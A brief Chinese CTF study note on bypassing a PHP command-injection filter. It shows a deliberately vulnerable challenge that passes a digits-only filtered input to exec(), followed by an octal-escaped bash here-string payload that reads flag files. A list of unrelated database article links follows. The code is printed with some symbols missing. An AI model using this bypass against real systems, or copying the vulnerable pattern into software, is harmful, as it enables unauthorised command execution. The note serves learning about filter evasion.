RCE联系

过滤

绕过空格

● 进制绕过

题目练习

数字rce

使用$0执行bash,<<<将后面的字符串传递给左边的命令。

例如:
<?php highlight_file(FILE); function waf(cmd) { whiteList = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '\\', '\'', '', '\<'\]; cmd_char = str_split(cmd); foreach (cmd_char as char) { if (!in_array(char, whiteList)) { die("hacker"); } } return cmd; } cmd = _GET['cmd']; exec(waf(cmd)); cmd=0<<<'\\143\\141\\164\\040\\57\\146\\52\\040\\76\\040\\61\\56\\164\\170\\164' 0代表当前脚本名称,如何在bash里运行代表/bin/bash <<<是bash中的Here String重定向符,会将后面的字符串作为标准输入传递给左边的命令 后面那段是八进制绕过,相当于$'cat /f* > 1.txt'

相关推荐
qq_2037694912 分钟前
debian13安装PostgreSQL并远程连接
数据库·postgresql
苏小瀚17 分钟前
[MySQL] 联合查询
数据库·mysql
雪碧聊技术19 分钟前
Linux命令过关挑战
linux·运维·数据库
oak隔壁找我33 分钟前
SpringBoot + MyBatis 配置详解
java·数据库·后端
oak隔壁找我33 分钟前
SpringBoot + Redis 配置详解
java·数据库·后端
帧栈1 小时前
开发避坑指南(64):修复IllegalArgumentException:参数值类型与期望类型不匹配
java·数据库
麦聪聊数据1 小时前
Web原生架构如何优化数据库权限管理:简化操作与增强安全性
数据库
ldmd2842 小时前
Go语言实战:入门篇-4:与数据库、redis、消息队列、API
数据库·redis·缓存
是Dream呀2 小时前
工业级时序数据库选型指南:技术架构与场景化实践
数据库·架构·时序数据库
骑士9991112 小时前
时序数据库TDengine用法
数据库·时序数据库·tdengine